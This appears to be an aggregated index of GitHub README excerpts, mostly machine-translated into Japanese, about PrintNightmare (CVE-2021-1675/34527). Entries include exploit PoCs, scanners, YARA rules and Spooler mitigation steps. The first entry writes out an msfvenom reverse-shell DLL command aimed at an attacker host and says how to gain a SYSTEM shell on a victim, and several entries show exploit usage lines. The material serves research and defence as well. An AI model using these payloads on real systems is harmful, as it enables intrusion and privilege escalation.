NimNightmare

CVE-2021-1675 LPE PoC これは私のエクスプロイトではありません！ただnimのwinimライブラリで遊んでみたかっただけです。 使い方 DLLペイロードを msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll で生成し、攻撃機でハンドラーを起動します。 被害者機で .\nimnightmare.exe を実行し、SYSTEMとしてシェルを取得します。...

CVE-2021-1675-Yara

このリポジトリには README がありません。...

CVE-2021-1675-SCANNER

CVE-2021-1675-SCANNER CVE-2021-1675 の脆弱性スキャナー https://github.com/cube0x0/CVE-2021-1675 のインストール手順に従ってください。 rpcdump.py がインストールされていることを確認してください。 収集したホストのリストから、nmap の -oG タグを使用して、稼働中のホストのリストを含むファイルを出力します。 Example: nmap -iL hosts.txt -T4 --open -p 135 -oG outfile.txt python3 scan.py outfile.txt...

PrintNightmare-CVE-2021-1675

PrintNightmare-CVE-2021-1675 Youtube : https://youtu.be/Zr0KjYDSFKQ...

PrintNightmare-CVE-2021-1675-CVE-2021-34527

CVE-2021-1675 / CVE-2021-34527 PrintNightmare PoC の Impacket 実装。原作者は Zhiniang Peng @edwardzpeng と Xuefeng Li @lxf02942370 です。 完全にパッチ適用済みの 2019 年ドメインコントローラでテスト済み。 悪意のある DLL をリモートまたはローカルで実行します。 パッチの更新 マイクロソフトはこれらの攻撃を緩和するためのパッチをリリースしましたが、以下の値がマシンに存在する場合、そのマシンは依然として脆弱です。 REG QUERY...

CVE-2021-1675-PrintNightmare

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 2021年6月1日 CVE-2021-1675 は、"PrintNightmare" と呼ばれる重大なリモートコード実行およびローカル権限昇格の脆弱性です。 リモートコード実行機能の概念実証エクスプロイトが公開されています（Python、C++）。また、ローカル権限昇格用のC版もあります。私たちは純粋なPowerShellによるネイティブ実装を見たことがなく、エクスプロイトの改良と再構築に挑戦したいと考えました。...

SharpPN

C PrintNightmare CVE-2021-1675 SharpPNを使用するにはDLLが必要です。DLLを用意したら、ビルドしてコマンドライン引数でDLLのパスを指定するだけです。 ビルド C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe -out:SharpPN.exe C:\Path\to\Program.cs を使用して自分でビルドするか、Visual Studioで.slnファイルを開いてビルドします。 使用方法 .\SharpPN.exe -DLL C:\path\to\your\dll 参考 Caleb Stewar...

CVE-2021-1675-LPE-EXP

CVE-2021-1675-LPE-EXP CVE-2021-1675 のシンプルなLPEエクスプロイト 使用方法 CVE-2021-1675-LPE.exe C:\test\MyPigDLL.dll MyPigDLL.dll はテスト用DLLで、成功すると C:\test.txt を作成します。 注意事項 1. EnumPrinterDriversW を追加して pDriverPath を取得するため、毎回 "ハードコードされたドライバパス" を変更する必要がなくなりました。 2. RPC や SMB を使用する必要はなく、このエクスプロイトは指定した DLL を直接ロードします。 3...

PrintNightmare

Windows 打印后台处理程序服务 RCE CVE-2021-1675 PrintNightmare 如何禁用打印后台处理程序服务？ CMD 命令提示符 net start | findstr -i "spooler" net stop spooler REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REGDWORD /d "4" /f PowerShell Get-Service -Name Spooler Stop-Service -Name Spooler -Force...

CVE-2021-34527-1675

CVE-2021-34527-1675 Cve-2021-1675 または cve-2021-34527? Windows Print Spooler 0day脆弱性の詳細分析と悪用！！！...

CVE-2021-1675_PrintNightMare

PrintNightmareScanner Windows Print Spooler リモートコード実行の脆弱性 CVE-2021-1675 を検出するスキャナー 前提条件 python3 python3 -m pip install -r Requirements.txt 使用方法 python3 detectprintnightmare.py --help usage: detectprintnightmare.py -h -t TARGET -T TARGETS -c CIDR optional arguments: -h, --help show this help messa...

patch-cve-2021-1675

このリポジトリには README がありません。...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE（PowerShell） Caleb Stewart | John Hammond | 2021年7月1日 CVE-2021-1675は、PrintNightmareと呼ばれる深刻なリモートコード実行およびローカル権限昇格の脆弱性です。 リモートコード実行機能に対する概念実証エクスプロイトが公開されています（Python、C++）。また、ローカル権限昇格用のC版もあります。純粋なPowerShellでのネイティブ実装は見られなかったため、エクスプロイトを洗練・再構築してみることにしました。...

PrintNightmare-LPE

CVE-2021-1675PrintNightmare system shell poc for CVE-2021-1675 Windows Print Spooler Elevation of Privilege credit: Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Ref: https://github.com/afwu/PrintNightmare windows 10 windows server 2012 このバグを発見したすべての研究者に感謝します。 @404death...

PrintNightmare

PrintNightmare 標準のImpacketを使用したPrintNightmare CVE-2021-1675 / CVE-2021-34527 のPython実装。 インストール $ pip3 install impacket 使用方法 Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation usage: printnightmare.py -h -debug -port destination port -target-ip ip address -hashes LMHASH:NTHASH -no-pass -k...

cve-2021-1675

〖EXP〗Ladonプリンター脆弱性特権昇格CVE-2021-1675再現 http://k8gege.org/p/CVE-2021-1675.html 基本状況 6月9日、マイクロソフトは6月のセキュリティ更新プログラムを公開し、50のセキュリティ脆弱性を修正しました。その中にはWindows Print...

CVE-2021-1675-CVE-2021-34527

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 2021年7月1日 CVE-2021-1675 は、"PrintNightmare" と呼ばれる、リモートコード実行およびローカル権限昇格の深刻な脆弱性です。 概念実証エクスプロイトがリリースされています（リモートコード実行用: Python、C++、ローカル権限昇格用: C版）。純粋なPowerShellによるネイティブ実装はまだ見かけていなかったため、このエクスプロイトの改良と再構築に挑戦しました。...

CVE-2021-34527

CVE-2021-1675 / CVE-2021-34527 フォレスト内でPrintSpoolerサービスが実行されているかどうかを確認するための2つのミニスクリプト。 CVE-2021-1675: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675 CVE-2021-34527 別名 PrintNightmare https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 スクリプト DC上の実行中のプリント...

CVE-2021-1675

CVE-2021-1675 Print Spoolerを無効にせず修正 スクリプトは、MicrosoftのCVE-2021-1675修正プログラムの存在を確認し、ドメイン上の「Pre-Windows 2000 Compatible Access」グループからメンバーを削除します。 問題: 「Pre-Windows 2000 Compatible Access」グループが空の場合、次のものが動作しなくなります: LDAP接続 NPSサーバー...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Impacket による PrintNightmare PoC の実装です。元々は Zhiniang Peng @edwardzpeng と Xuefeng Li @lxf02942370 によって作成されました。 完全にパッチ適用済みの 2019 ドメインコントローラーでテスト済みです。 悪意のある DLL をリモートまたはローカルで実行します。 インストール エクスプロイトを実行する前に、私のバージョンの Impacket をインストールする必要があります。その後は準備完了です。 pip3 uninstall impack...